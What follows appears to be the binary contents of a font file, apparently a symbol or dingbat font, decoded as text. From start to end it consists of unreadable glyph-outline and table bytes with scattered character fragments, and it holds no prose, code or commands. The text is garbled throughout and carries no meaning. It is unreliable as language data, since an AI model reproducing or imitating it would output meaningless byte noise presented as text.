�3���`�/G_w{4767632#"'&'&4767632#"'&'&%4767632#"'&'&4767632#"'&'&4767632#"'&'&!%!!�**+*l+***��**+*l+***��+***�������*+*��*+*+*+*�*+*��*+*�B�3���`�/G_w���4767632#"'&'&%4767632#"'&'&4767632#"'&'&4767632#"'&'&%4767632#"'&'&4767632#"'&'&!%!!$+*+*��+*+***+*l+***��**+*l+***�q������*+*+*+*�*+*�V*+*+*+**+*���3�����)2 $$ $54$#"4>32#"&��e����|����e�(�<X<���ħ��ñ�"<! <"#<!;����z����c�h����Ů�;��?�����B<!!<B=  ���)62 $$ $54$#"4>32#"&$2#".46��e����|����e�(�<X<���ħ��ñ�"<! <"#<!;�>@<#"<! <"#����z����c�h����Ů�;��?�����B<!!<B=  � =B<!!<B=���2 $$2>4.#"��e����|����e:<#"< !<"#;����z����c�h��� =B<!!<B= ���'2 $$2>4.#"$32>4."��e����|����e:<#"< !<"#;��"< !<"#<@;����z����c�h��� =B<!!<B= �B<!!<B=  ���7!!��(�����7!!%!!�`��x`����������M&bb�����M&bc�����N&cb�����N&cc�X��	6%'&/#'!#67$#��	���cKL�����`�5�+b(}�*]55(��B�
J�N��X��#'!#67$#�KL�����`�55(��B�
J�N��j��	'7'77	'77	''6���ƺ.�+�ŸMM�Ƹ,�,E#����?����=~Q�ǻ,�,�Ⱥ��O�Ȼ-�,q�t5�����@�������e�R32>54.#"##"'5##"$'&'0!5!5&'.4>32!!676767'%''H&(G()G'%H(�%'���V
W3WI�mu��w>DE}AB|GE=m��d^�JW4WV�s�'H''H'(H''H��`XAK|@X1(ԁ3"|�}DD}�|"	2��/
"1X@|��AX1#
�/	673&/'67&'"&'6?&'3	'	�K[]�><+G�g['fB��Be&\h�?(K?�]\K�� ��!���;<uI�@*"O�8B1"��1B8�H$L�Iu<;0���:ƕ}����*CT'&#"'5&767#&$'&%'6'&'''$'676'&5$'6%'.54>32TD$�#��@F���,����MMM�v
�E8p_Lc1���
��M**�+��B@0"AR/0?wA�%od/D&3.YaQ/5#3$"����u��I'
@3/u�= =#n-....y����3%	%	32+#".7!"&'&'#&=4;7337_����������8)�0/�_^�a�M`���1/� 9�53����4�<��LL<��L�*(��D>?GG~F6��F~GG?>D9/��C���}��"632&'.'#!#!#Ҹ�62�K#+~~�R!N���x��_T����V_�T	'�NQ9;�:;P�Hi?C��D��|���)�)Z)�
132>4.#"367#&7&$735&'.4>2�2[02[24Z1/[���)'5*.�X��A<NWX���ZXN9�dY22Yd[00�-��&皗������1�
�#+���UU���+ ��j�?GO277''"/&'&'7&'&'7&47'6767'676?  "&462jX+C@~L@T/!�%��%�!/T@L~@C+X+C@~L@T/!�%��%�!/T@L~@C
����l��[�[[���
�-@�2<T\E#D#F[T<3�@.����.@�2=T[F#D#E\T<3�@-�
��������ku�[[�[��%�
!&+05:?DP�3&7"7&'7&'7&'7&'6'6%676767&77&77&'"32654&'5&'.4>323#67#&#"/&'&547&"'6%676V �n*[�n%'ZxL0<{2;&b;>/2:.�m*nW)'$o`0LP;2F<;(e:2/"7LL75MLZ'&4)PNPU�Q74(43(4:X�UPNR	(�"@Dv>0&8a>!U*~EmL�K}`�G
�f�7r
&0>j!>a)�E~C�K�W�
G�is7�g:M57LL75M-Z
'*''*'
Y	(�5[�J5(	��\d	(5J �[4�
	''�&.FR���������2#".54>&'767&%76'&''67&'&'&'6767654676'&7>326'##"'&'&'&54767&'&547676&'&#"6&%6767&'&'&676&5467&'&6732767&�$$$$�OG362ec���ce74GL944m/122102/.303112.OF}68ge��"w?>v"�rt #8��7!�":;@A<:"��!6��6# sr*./13/.UVT\<>"$!!��	!"#">k�cg86|FO	93399	<>#"#�><	 "$ZTU./43..V5$##$�59gTVV9Z^^Z9++VTg9�'(''&()I8:9889:Z_59eUV-,	����<8.>euvc>-7=�bccb�>7-?cwud?/8M�WZZW� **D@@D+8,-VTe95^�&)(&''(�DA:AD.*!�Y[[Y�!&�)p~�67&'67&'4&6%67.'4'6&&'6767&54?67&'&#&'#&'5&'"'67&'&47632>4.#"%2#".4>�'7,3	3%/0��),7�=*'��0*+3.22'��Q Yf��T,1'��').U��fY Z98 "2
B2;F_  XB?2C
3" 894i�hg�ik�ce�"S�[X�VW�XZ����#e��jp�McNTvJKr�?VlLWW7�p
j��k%�n^*V{ww[1���1[
ww{V)\#f�d-#JM7B/"��"0C7NK",d�f#�νhh�οggQU���XX���U�S��	!!Y�,�q@��I@�,�q��Ȥ7�T��U7����S��'!57|,�q,��Iw,�q,���ɤ�窪���8�d��
%3!'#!52#"62#".54>�"��	�h9�|M463%&$$�5		���O	��D��n;�
$$$$���33'554#$/���[��Q�w�����GSG�UW
GJG���Z�*1=C&32632!!#!#!5!&"327&7&!&7326&#"6'X�P�}}��R������������?9��9�XezfH9?���A:���uut��LFF���"�~��|����|	��������-
��	
��G���P8lGrr����[0�$,8>& 67& '&'&'&!7!!! 6'&265"�u���t.77�����!�u$�l�Y�oi��������p���@qDi�����4tE�u.�����$r�l,�36����l�%e��Ug\��x��u���v��Sc?\�7��=1l�Hr-��ؤ������-9E6'#"'!!#!5!&'&326!7!%"327&7&326&#"�suuW���~Wd������P�|���oj�����p�����?9��:v8?���A:���llGr���E,
��|��|	~��LDJg\���u����������
�H���O����U(&  6&32!7!!!#!5!&y���E�ߩP�h�����p�������C������Ln[���u�����~��|��|	
����/M#"'&'&'&54767676327'7'%'276767654'&'&'&"(F3"D"&%#C:bV`ZZ^;D"&&$AB[X]:3G�9���:��]��:�F=~=<.,/*??z?<.+.(�!$HS\[Y[VF=*%%'>HS]ZY^XAA&%�i�iD^���29�i���..=<?A<92-.*?:CA<91*���Aa62'%'!!#5!5!5&'&'&'&5476767''7'''7"3276767654'&'&'&�4p6��9��]�.(E$##$E@Z-<���81VDE$###F'1�9�T]���9�T�:��G5>+../:9CG5>+../:9��\���2:�a(EVUb_UVE@(
����	%CEVU_bUTG(Hi�j��:ο�\�i�j�+.<;BA;<./+.<;AB;<./���4�/O!!#"'&'&'&5476767675!5!'	276767654'&'&'&#"���<-Z@E$##$EDVRbfNZ@E$##$EDV18���kbbj�C9:/..+>5GC9:/..+>5�疑
(@EVU_bUVEC%##(@EVUb_UVEC%	���ka��j�P/.<;BA;<.+/.<;AB;<.+	��/O####"'&'&'&5476767632333'7	'%3276767654'&'&'&#"�ܖU
(@EVU_bUVEC%##(@EVUb_UVEC%	U�ܭka��j��/.<;BA;<.+/.<;AB;<.+���<-Z@E$##$EDVRbfNZ@E$##$EDV18��k����j�C9:/..+>5GC9:/..+>5�4�;2"'&'&'&5476767"327>7654'&'&'&��RUEG"##"GEUR�RUEG"##"GEU�C9;\.+>6FC9;\.+>6�#&BIRUb_URIB&##&BIRU_bURIB&s\<;BA;<.+\<;AB;<.+�4�2"'&'&'&5476767��RUEG"##"GEUR�RUEG"##"GEU�#&BIRUb_URIB&##&BIRU_bURIB&���J;"276767654'&'&'&2"'&'&'&5476767�R#$$#R#$$��=>3443>=�=>3443>�"$)($##$()$"�06<?IF?<6006<?FI?<60g�MJJeu&'&54767"#"32#"'&'&'&54767676326762#"'&73276767654'&'&'&#"#'67654'&'�*")$#)�	=HK:C.221@=HK:		=�=@122.C:KH=	�)#!  !#)�##?FM;" "$)($&t.2@?FI?@2112@?IF?@2.x
&$()$'
#?IF?#% $()$ $)($ TZ`z!A_3#"276767654'&'&/2#"'&'&'&54767676"276767654'&'&/2#"'&'&'&54767676��R#)$#R#$$LK:C.221@=HK:C.221@=�R#)$#R#$$LK:C.221@=HK:C.221@=z��Z"$)($&#$()$'�.2@?IF?@21.2@?FI?@21�"$)($&#$()$'�.2@?IF?@21.2@?FI?@21
��JA_}676767632#"'&'&'&'!#"'&'&'&5476767632$"276767654'&'&'$"276767654'&'&'�61@=HK:C.221@=HK:C.5
��21@=HK:C.221@=HK:C.6�R#$$#R#$$��R#)$#R#$$5=51.2@?IF?@21.4>"@21.2@?FI?@21.5="$)($##$()$""$)($&#$()$'��R5%%%x�����r�6��׊eM�M^�x��x��V�)7654'&'575#!&54767'5!s_vR$N:�:N$Rv_���{aT,X@X,Ta{��4b\)1�%==%�1)\b4ߴ�:�`�\KD��DK\�`����-�&  6& #&y���E�ߩP�S�����C������L���"�~�{�Y��,�!#!5!326& '6 !I���(4���~u��P�����|��G�jt���� �~��|���,�	!!#!5!7	�>>�!���VL�����;����|��|�oJ�����,�737!!'!!#!5!'!5!{���{����~z�����z�~��z�d���z��|��{���|��|R�{|x�T%	
!	!5!	#!7!#	#T��?�?���LL�w��������J|�A�|��J��Z�t��|��J��,��$264&"&7673%
%&u�uu�>�hH]�%V��gV��YFh�ݦuu�v���#gG�έ��Ҕ���Eg���D��X�!#!5!&'&5%676'!H����fN)]�H;�bt�WUJn��|3L�u�.�:;���͢8%�|V^m3 76= '&  7654'7! '.54676! ���NΫ.8�l�?���Ϋ��NΫ�,sppp����sppp�>9�`VhhV`�"xx hVc`VhhV`cVY9�Q��N�9ss9�N^Q�9sV^�
-E  7654' 76= '& 76= '&! '.54676! ���Ϋ��NΫ��k��NΫ.8�l�?*��NΫ.8�l�?�sppp����sppp�>9ghVc`VhhV`cV�|�`VhhV`�"xx ���`VhhV`�"xx Z9�Q����N�9ss9�N^^Q�9sV^m!1?U! '&'!   '&'&76767 76= '&  7654'7! '.54676! x8����;�41�� �::���; 9٫�NΫ.8�l�?���Ϋ��NΫ�,sppp����sppp�>9d]]c�]]]�Փ`VhhV`�"xx hVc`VhhV`cVY9�Q��N�9ss9�N^Q�9sV^�!-;K[s  '&'&76767! '&'! ! '&'!   7654' 76= '& 76= '&! '.54676! K �::���; 9�8����;�41�8����;�41
��Ϋ��NΫ��k��NΫ.8�l�?*��NΫ.8�l�?�sppp����sppp�>9]]]�]]c�]]cehVc`VhhV`cV�|�`VhhV`�"xx ���`VhhV`�"xx Z9�Q����N�9ss9�N^^Q�9s���-� ,"&54632#"767'	2654&#"�@a^CF[^������������cc��Z��礡��}[D>XUAB]�~���Lޜ~g���]�����䤣�أ���lZy�'#"'&#"'&'&'&547676763232767676'&'&'&/&'&'&547676762!2!%3276767654'&'&'&#"&#"3276767654'&'&��s�*	
$+$$$
#*#%>aZ%
NT>%
 #HH
	
")mR��Oe�b�





0



��
 
$&$ 
'
D"&% 
$ #
mR )K�y	


	�	
			V!E�r�26767654'&'."#"'%"'&'&'&54767676;27>764'.'&+"'&'&'&547676762%632$"26767654'&'&�.&&.&m,mQ��j�P
(!N!"(!'CVf&

&bZC'!("!N!(
P�jo�Qm,��.&&.&q



l�?W�,>#

"#"
"		"
"#"

#>,�W?~



�lOYx�3!#!"'&'&'&547676?6767676'&'&'&#"#"'&'&'&547>763276;%326767654'&'&'&#"6767654'&'&'&#"32����eO�uRd2
	
HH# 
%>TN

+Za>%#+$
4$$$+$
	'�s��	

*

	

*
O�K) Rd#!#&
"*"D'  ""! 2
 	T	

�:	



	I���Zx����-4H67&'&'&+"'&'&'&476767632%632
#"'%#"'&'&'&54767676;276276767654'&'&'&"276767654'&'&'&""'&'&'&547676762"'&'&'&547676762'&'&'&547654'&'&'&";276-&#"+"276767654'&5476%327%&"'&'&476762I	Q\C--%("(/*0.,+"(
/�X]�\�9��<�\�X�/"$)0*3')"*
%1*0CR[��	

		

		

		

	22				2				2				2				�%�'

&J 


&%C\d#��_*]O���hXC%&


 J&

��O]*���								�

 
")&`&"'$"/'	<%�ZS
��%
SZ�%<	/'* "%5"-($# 	��;��8\=
! ! "
���/V�C
" ! !

[uV/�+							V��^�n��3276767654'&'&'&#"&'&5476767632#"'.54767&54732#"#"676767'&#"'67654

o��zwbd011.f_zx��|wbd011,k9995ul������sp:995un�����*D$l��Q$"	6*D?"5'K(2-
#%�>


:7331cdvw��wqi`4331cdvw��xD>�m������wn<;;8ro������wp:;;BV0/+"���8:D@*|sa 	-F(7"*=8&0!2  1-5$&
6:B4V��^�,Ji�&'&'%&'&"632%676767654$2"'&'&'&5476767"3276767654'&'&'&'2#"'&'&'&54767676�?!*$ 1�$-+h+-$F3782�*	!?��1 $��>>9�|wbd0111c`�zwbd011.f_zx����sp:995un������sp:995ul��wIP�"2-.$ 	�""�		��PI� $.-2!v31cdvw��zwcaf31cdvw��wqi`43d;8ro������wp:;;8ro������wn<;x,A�-57'36%33#3#!2#!3#3##$'#7�$@d��5�{s�Vd�]�F0  0F���]�dV�s{�5�⒒d@�(��
j�P�P�,�P�P�`����0�
")-	!676762!"'&'&'&54!���X�$#R#+/��R���F��F$#R#$1�S����h,��		������k��-�"�s!�����|�K���476?6763&'&'&547632676767654'&7632!54'&'&76'&&#"'&/&'&'&#"#"'&'&/&'&#"&'&'&?6'&'#"'&'&#"!'476/654'&76'327654'&'&327654'&/�%4&)"$0JK&
$)7
	��	%1�'#
#6	+-L
_�_^/s4*1(
.266	|/(1	

\�	��#:7
l�S&x�71]%
/~[#<$ o�_%?,�:
*(;�Y��)$X$+|��=L�!6CX&PY8�9Do6�
b'n�283�eF]4T&
& /50$?- 1@&	3l
K

C"P1�	��:07@D:5XI6.D3�[+-1:
			q/A8	

g+�jl9Lp{��7654'"'&#"+"'&54?67676763276323273#5%6767'&#"6"/67#"27632327654'73654'676547&�p/l0&�J!cS%Y���E]{@C"$4>�-;%
��,(6�Y>�m��!N$X�6"/,(�4�sS?X$U�>"sJ?K(`./4�+2K2.�0>��S
�Zp0+��1^�' ��;cs /�^"|Y/
4�28ۇ��ϕl%�%ot�5oA='Y$	a���T*
''G+-
%_kj~r�}jL`І|�\g�K@/.85�c($����")3SZ67654/##3276?%%54'654'36767632#"'&54767632'%;66I�
���
��
�	}��g���
A���6��q�n

		
		

->
9@
�H67;���
��z���h�|	��9
>��6!q���

	




���B5��> '-EL4'&'&/767675'7!	!'!654'!4'!!$4767>2"&'&'!654'�
�33�
��^^^��RX�����I�#�J2�V��l�P�#�
	~!8�8!~	
U�pp�ph�����,��p�<((zd����")3SZ&'&#"227654'&'''%'654.#"65&'&'&547632#"'&'&6#"%	
�I66;�o�
��
��|����>A%6!��q�

		
		

9
��		;76H�
�
��
���	|��h���>
9�6��q�m





	
B��X{[#C'%%.'&"27>7%$6%"'&'&'&47676762%'�2&%k��




A����ڙ����>>d�I��ID`q��S
	
 

S��qG�Yq�>�q��)&%$64'%%&'&'&"27676�&����22�"k��**�!��q`�`q��!3�W
2327632#"'&'&5476�'(
�>� !�~��GH
".4F+�@x�H	)�0��$��'*'���27277632#"'&'&5476�'(
�e`�}{*�279HFb@y��J��L���1 -��A		'	7	�Ɏ�8�7��7��Ɏ�7��7��ɍ�8ɍ�?�	�t�������t��7tt7���t��7tt7��u������B2632#"'&'#"'&54767'&54763267632676�
��Q� x��� L$3��z(		
 
6X���3�������6*=P*>
"�#
������Q26#"'#"'&'#'&'#"'&547&'&54767&&5476326763276T
 �디% $$Yy�X$		��zc0+
j���:
(��̢1#:_����&
#-
�Խ=1 '2ĺ�pD�#!!!!!%!!!!!!!!#!5!36�H�V�������B���B�X���B�B�����U�H�V��P���B�X��y�B���pD�!!!!!!""��p��"���p��"�#pD�35#7!!#!5!3����r���r�s��r�spD�!!%!!!!!!���r�"��p��"�#��p��"�#Rb�!!#!5!3���p�p��E�U��l�3!!'#'!!#!!3!5@��������,r����,�,�����_��r,��,���_��>v�#!!!!!'!!!!!!!!#!5!3����h�����������m���_�|P��_��H�_��pD�Q#"#3;54'&'&'&#5!"3276767653#4'&'&'&+3!52767>5{dZYIB,$22$*DE]Vh{%'GC_Rl|lR_CIJ{hV]ED*$22$,BF\Zd{%'GC_Rl��lR_CIJ�&%IB`Oo|oO\FG'$zdZ\GB+%22%+BI�dz$'GF\Oo��oO`BH&&{dZ\GB+%22%+BI�d����� #!!!!!373#'7#Z����A��A���:��L���lحmllm�z�l��mllm��|�}�}�|���d��� �d���}�c�����T��`�C54'&54762327632#"'&+"'&5476=#"#"'&476323(L,68x86,L �zFvd0000dvFz� L,68x86,L �zFvd0000dvFz� �zFvd0000dvFz� L,68x86,L �yFvd0110dvFy� L,68x86,LV��^��&'##"&'&'&4767>32367675&'&'.5467676236767>32#"&'&'&'#"'&'.546767675&
�
 R.-R  R-.R "	�
*!""! ((\(( !""!#%

�	" R.-R  R-.R 
�

%#!""! ((\(( !""!*�*!""! ((\(( !""!#%

�
 R.-R  R-.R "	�

%#!""! ((\(( !""!*
�	" R.-R  R-.R 
�
S��a��4'&'&'&'.54767676322767676767632#"'&'&'&'&'&#"'&'&'&5476767676765"#"'&'&'&5476767632($
((& :.:806$&&
)D+:!

'228:/3&$$&3/:822'

)2/@!

'&$6/r/6$&'

'?03'
&d8:02&!$&20:=-2&
(20C,7"
&d8:02& $&20:=-2&
(10?!

'&$6/r/6$&'

'D+:!

'228:/3&$$&3/:822'

)2/@'
((& :.:806$&&
(T��`�0267632#"'&'&'!&'&'&54676763267632#"'&'#"'&'&'&5476767!6767632#"'&'"'&'&'&54767#"'&'&'&5476767632!#"'&'&'&54767#"'&'&'&476767632&'&5476767632!#"'.'&5476767632&'&54767676Z



(
&	 

	��	

<

4	��
	












%
(



�


(


��
2



	

6


��
	

	
%		

	

<


%


(


W��_�276767653"4'&'&'&W���sp:995ul������lu599:ps���;8ro������wn<;;<nw������or8;W��_�?247676763"'&'&'&5!276767653"4'&'&'&ee\WJI&%%"MF[[ff[[FM"%%&IJW\�����sp:995ul������lu599:ps���&%JHZYif\UMH'&&'HMU\fiYZHJ%&;8ro������wn<;;<nw������or8;0����	%	%!	!0��$��$ѿ����������6��a���������l��LlV��^�	)!	!2#"'&'&'&54767676Z���¬�ì�Ӭ���sp:995un������sp:995ul������H��H;8ro������wp:;;8ro������wn<;0����'"276767654'&'&'!	!��99000099�9900009|�k������k�-28;BA;82--28;AB;82-&������l��Ll0����	'1%	%2"'&'&'&5476767!	!0��$��$��99000099�9900009|�����������6��a�����-28;BA;82--28;AB;82-&������l��Ll0����	!''!!	!!	!Z`5�_��_�5`��/x�xx�x�/��k������kI�ٶ�ڶ�&���G��G����������l��Ll0����	3'7'3!	!7!%%!Z&|d&dd&d|&�k������k�s��/u//u/��IvIvIIvI������l��Ll�������c�0����%5%7'%!!	!�x��x�x��`�/����k������k����K���K���G�T������l��Ll2��
	'%'!!!!��>�����j���>-�����'��O^�__�^�Oq����4��4H4�"h�d��d�����0�!%
%!-�@���j���j���j���k��*������*������37'7	#'�xx�xx���.x���x�.�x�.�.x������
��������
�����pD�	#'!5!73!��G�Fd�FG���r�EG�d�G�Er��FG���q�FG�d�G�Fq���G�Ed@��L�	
		-	FO��F��c�,OO�,c��F����d�,PO�,d��G���OP��	T��`�'!%%%!%%
%-��wD����{��ww�f#w��%�f{ww�����y��|���|��y����{��xx�f#w��%�f{ww���xE����y��|���|��y������������%	%	Zp/�A���pp����A/��}�}���E����T��`�	
		-	Zq�����Nqq�N������Nrq�N�����qr���T��`�%
%-Z�y�l������������l�y����������l�y��y�T��`�%%
%%-ZtGc�V���G��tt��G���V�cG��G��st��G���W�cGtsGc�pD�/3%!!%#'''%!5!%777x�o�:U���.�c��F�.�d;U�ǩo�x�o���U:�e.��E��c.���U9�o��E�.�f:U�ūo�x�o���U9�g.��F��f.���U:�o�x�o�9U���.���
��54'&5476276767632#"#"#"323232#"'&'&/"'&5476=&'&'#"'&'&547676323232?&547'&#"#"#"'&'&54767632676'K,68x86,L
qA'C<4GW>L
�df�
L>WG4<C'CnL,68x86,M	nC'C<4GW>L
�dd�
L>WG4<C'El��wFNd0110dNFy~DzI'#4#,G2$:;$2G,#4#'I~?	yFNd0110dNFy
?~I'#4#,G2$::$2G,#4#'I�;���
��"276767654'&'&/54'&5476276767632+"#"32;2#"'&'&/"'&5476=&'&'#"'&'&547676;232?&547'&#"+"'&'&54767632676o**YK,68x86,L
qA'C<4GW>L
�df�
L>WG4<C'CnL,68x86,M	nC'C<4GW>L
�dd�
L>WG4<C'ElPL�wFNd0110dNFy~DzI'#4#,G2$:;$2G,#4#'I~?	yFNd0110dNFy
?~I'#4#,G2$::$2G,#4#'I�;����j'&'&'&767654'&54762767676'&76'&'&/#"'&5476='&'&76767�/1�oS\**nH\W+G80j@6R�R6@j0/P1Q\Hn**\Wk�9000�oS\*,lLXW+G80j@6RTXN6@j03L/S\Hn*+[Wk�6�	05HoIH 53c�!77�\`j4OO4jfV�A7�g/5 HIoH53 	05HoIL43c�!77�\`j4OO7gfV�A7�f05 HLlH53 �������67654'&"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"#"'&#"327676%32767654'&'&#"#"Z8%1T1%8�5e %ZF\+m8BS/?JV@6RTXN6@VGB1QB8n*\FZ% e53e!&ZFZ*n8BS/?JV@6R�R6@VGB1QB8m+\FZ&!e3��DA	
5<;
>
+F$�H$F+
>
;<5
	A�cJ2QD++DQ2J�� (5H,'9,J&0f�)
T|\`j4OO7g`\|T
'�g/& H,9',I4( (3J,&9-H &0f�)
T|\`j4OO4j`\|T
'�g/&J,9',H5(�""'!$(:UJJU:($!'""nF��"276767654'&'&'767632#"'#"'&'&'&'#"'&'&'&5476767#"'&'&'&5476767632&'&5476767632��=>3443>=�=>3443>x>%85670-)-%8/>0!-)-02;>/8%0
)-02;>/8%-'&$>/:#-)-02;>/;))-02;>/8%-06<?IF?<6006<?FI?<605+'61>:4/.&"./4;=16'+&1,"%&!6'+&./4:>1:#"$./4:>16'+,4:>16'+&./4;=1nF�n�����%#"'&'&'&5476767#"'&'&'&5476767632&'&54767676267632#"'#"'&'&'&27654'&'&'&"67&'&'&'276767&54767'&'&#"276767654'&/7676767654'&'&'&#"Z
0%8/>;20-)-!0>/8%-)0-<1:3%>-%8/|/8%->%85670-)-%8/>0!-)-02;>/8%0
M�=	
 H 
	C# B/g

 H �*x#$ 

 -7 H 

g/B �� 

 $#x*�%",1&+'61=;4/."&./4:>16'.5
1=;4/.&&./4;=1
5+'61>:4/.&"./4;=16'+&1,"8_/$ 

 $/_�c.,b" $# 

!�I?30C

!'# 	��x!

 #$ "b,.$	 #'!

C03?I
T��`�-[�3b���&'#"'&'&'&547676763267'&#"327%327676764'&'.#"7632#"'&'&54767676324676762676322##"'&'"'&'.5#"'&'&'&54767"'&'&'&54767676&'&'&'&'&'67676?&'32767677676765&'&'.#"7676767&'&'&/326767674'&'&'67'&'&'&#"67'&'&'&'67676767"276767654'&'&'"'&'&'&54?&'276767654'7654'&'&'&"67'&547676762:�	


	��$4

$�$

4$��


��% !()-+,)$"! ((\(( !"&',+-)(!'7'&"# ,*2% !()-.))$"! ((\(( !"(%*-,*(! #2*&"# "&'��


		��!


4 �
�!



4 
g�


	��	

	�i 4


!��g
 4



!��
	

	
oR#$$#R#$$	

	8

<

c7

<

7	

�



8
<

d8

<
6


 %),++*) !$3R  R3&!-(-%2(&"#%(.2$( &',+,)) !$3R  R3'! )),,+)$"#%(.2$( "�
�
		

	
�i
!xg


!��
		
	
	
�%�



			
�
�!
��!


g�


			
�"$)($##$()$"�$�

		

��%%�%%��

		

V��^�<\l"276767654'&'&/2#"'&'&'&47676762#"'&'&'&54767676%
%-�z35++++53z35++++5pWDM69 ;9JHSWDM69 ;9JHS���sp:995un������sp:995ul�������}���������}��(.35<;53.((.35;<53.(�"68MITNLJ;9"68MI�LJ;9m;8ro������wp:;;8ro������wn<;�}�������}�����������������"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"27654'&%&'&#"327676%327632
654'&'&#"#"Z*1%8�5e %ZF\+m8BS/?JV@6RTXN6@VGB1QB8n*\FZ% e53e!&ZFZ*n8BS/?JV@6R�R6@VGB1QB8m+\FZ&!e3�*1%8�~>
+F$�$��>
+F$H��
;<5
	A�~
;<5
	A��+DQ2J�� (5H,'9,J&0f�)
T|\`j4OO7g`\|T
'�g/& H,9',I4( (3J,&9-H &0f�)
T|\`j4OO4j`\|T
'�g/&J,9',H5(��G+DQ2J��$(:U���$(:U3�!'""��!'""���A''7'753'75377537'7'#5''#5'7#5'7'7���<��<�x��<�x�<��x�<Ć<����<��<�x��<�x�<��x�<Ć<��phMrhr��ohM��Mho���rhrMhp��phMrhr���ohM��Mho��rhrMhp��!%)-153%%
%%#'-75%77%7?5x#	<��$��	<����x���<	��$��<	#��#���������������x��̩���h����h������3�Q�h����h�P�'�c�cc�chcbbccbbgc�c��c��0�A37%37'
7'#%'#5'7#5'7'7-'7'753'7x�d��X<[�d��d�Y<\���d�x�d��[<X�d����d�\<Y�
�d��hQ���Λ�4h5Q������Q4h5���Ћ�QheQ��5���5h3Q������Q5h3���6��Q�����#"'&'67632#"'&'&547'".46767#"'&'&54767627'#".4767632&'.4676327&54767632�./56.��.65/.-/531/�.66\l\66.�//56.../j/��136\6./531/�.66./56\66.�0.65/3m6.5/.��./54///.6���\l\66\l\�6.//.65/.��6\l.//.6�\l\6\l\��6.-	a��S�.E\s"&462	7	7	'	'&'&'&5476762"'&'&547676#"'&'&47676326767632#"'&'&�X|XX|��}U��
�U���}U����U��9r99r�<%DREA 11 AERD%�<%DREA 11 AERD%,|XX|X�.�U�|J�U�~-�|U��
�~U�.<%DREA 11 AERD%�<%DREA 11 AERD%9r99r	a��S�+?Sg"&462				"'&'&476762"'&'&4767622"'&'&4767$2"'&'&4767;������i)U���)U��
)U��K)U��'.n.''.n.''.n.''.n.'�p17#((#71p17#((#7Mp17#((#71p17#((#7K������8)U��L)U��~��U)�^��U)Ip17#((#71p17#((#7��p17#((#71p17#((#7Y'.n.''.n.''.n.''.n.'	T��`�&3@MYam+%5%32476;#"'&'7632&54?#"632'&54#"/72#547"&462"'&=3`(
�`�
&��(
��`
&*��G)*��IG��)(*(G��e))��GI��R2d2�X|XX|R2d2�*2d2((2d2M*'��FI��*'F��e��F)*��IF��)*
(
�a�
'�U|XX|X�c(
��a
'T��`�l267632%632#"'%#"'&'"'&547#"'&54767#"'&47632&'&54763&5476Z+/#N42B4
�{�L"..$J%�(�4B+;
��N#/V/#N��
42B4��(%J$.."L�{
4B$BN#.�/#J�"�5C7/	��N".X.$M��51C5	��"J#//#J�{	5CLM$.X."N	51C!�w�J#/f����
#�+�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�%��+��
+���и/��и/��и�"�01! 4$#"# 4$32632!"��������������?�q��q�?����p��G�����Q�?�r������Az����7�+��
+�
�
��
+��+�01%!#!3!���d�d�,S.��S�d�,z�87�+��+��
��+��
+�
01%!%!35!�����,d�S.��d�d�,z����	7�+��+����+��+�01%!!!���S�d�JS.��SԂ�Jz�8	7�+��	+�	���+��+�01%!!7!�����,��S.��S�d�J������	/�/01	�SS���TR���SS����SS���S����SR�����U�����"S������#�����!�����!��X��(N��/�+�01!33N�`��R�(n?��x(��/�+����01!##x���R�����?�(:�
'�/�
/�+���и��01!33!33N�`��R��`��R�(n?����n?��x(�
/�/�
/�+���и�и��01!##!##x���R�����R�����?n����?>�B-�OS2#"327676765!"'&54$3!57!##"'&'&'&54767676#�	
 ?>I-7��އv�3�T��%+>CPNHiDG-2/&D9���	.	!-8=DD_o����2�{��jTc@F'%.36<@M137+4V������52&'&547676762"'&'&'&5476767Z�y*,&������&%1]~|45,--,54|45,--,5�(+&014|d��΃fz410&$(�F*.46=<64.**.46<=64.*N��f�%C&%&547676762476767622"'&'&'&5476767Z{���&%1-l./&%%&/.l-1%&����|45,--,54|45,--,5�ġS�410&$%%1/66/1%%$&014�R���*.46=<64.**.46<=64.*n�F(%%&%&54767676247676762Z��_�75EA�AD6556DA�AE57�_���q�KFD6454FCNNCF4546DFK�o�X����'#"'&'&'&547676763"'&'&'&5476767632���r�JFD6464FBNNBF4646DFJ�p��`�84F@NLBD6466D@NLBD66�^~*��
i654'&#"632327632!"'&5!267&'&#"#"'&54763247632327654'&547632#"�
6+Jo.^V|;-�˙it36?��̺�fQMe�EJS?(*$ s]vh2K)*NL13<VL*-*8A*�_xAg0,?)!:"9�JOCQ>^�v:Mc*�Z����e��C0�3N35%&-Kt\K%9S >BWN=!$?$8(F!5{^?�Z�N676 547&'&327#"'#536767&'&'&5432&5476323254'&5432�?-BO>B���v06('K`dC+(�k$'eM?$#=Hb�B=)+8=.m�9ebPB��>$3g:=�T�EB7WPfG+1K�H�P<Ff#&T'0P+A'���<<Q�bF���/' "'&'&'&547676763"3/�����FDD@�����mh`�((((SNecr��GC����������FG/C>���������}DC���/'"05276767654'&'&#052�rceNS((((�`hm�����@DDF������/CD}�������>C/GF����������CG���!&547������������>�2�;����������0!!676P��JK����BA��<�������������!	!���$�����	!	���"�����#�{!	!{�<�l��`��9��	!	9��`���l���U�?!	!?������w�`	!	w���������HZ�j��j��j�j�l��'7'7Z�j��j���j��3��j�f��$#"&=4&+5326=46;#"3��l�==�k���D�V[noZV������t�s��ݓ�X��������X���N(326=467&'&=4&+532;#"+�D�VZon.-V�D�UT65�==�lTU�ԾX����GG���X�JI��9:�t���JJx��N�
K�/�/�ܸ�и/��ܸ�ܸи/�+��
+�
01! 4$32!5#!7#N�K���K�g��g���������L�7�h��������/�+��x��N�
&S�'/�(/�ܸ'�и/��%ܸи/��ܸ"и"/�#+�#�
+�
01! 4$32>54&#">32!5!N�K���K�g��g�ɈXԺS�hu�6CO*.����q��L�7�h������l�N�� �C,A7%D%����x��N�
6Ÿ7/�8/�ܸ7�и/�9�*ܸ�1�A�1�1]A1)191I1Y1i1y1�1�1�1�1�1�1
]�49�.+�.�
+�
�!'+�!�+��9�*'!901! 4$32%4&#">32+32#"&'32654&'>N�K���K�g��g����I�^_x;JKMX�d][]@�j^�N��re��L�7�h����A}|�%/).-�5316 0���_px��N�
S�/�/�ܸ�и/�9�9�ܸ���+��
+�
01! 4$32#!!535#!N�K���K�g��g����K�"������L�7�h�������ߣ��5x��N�
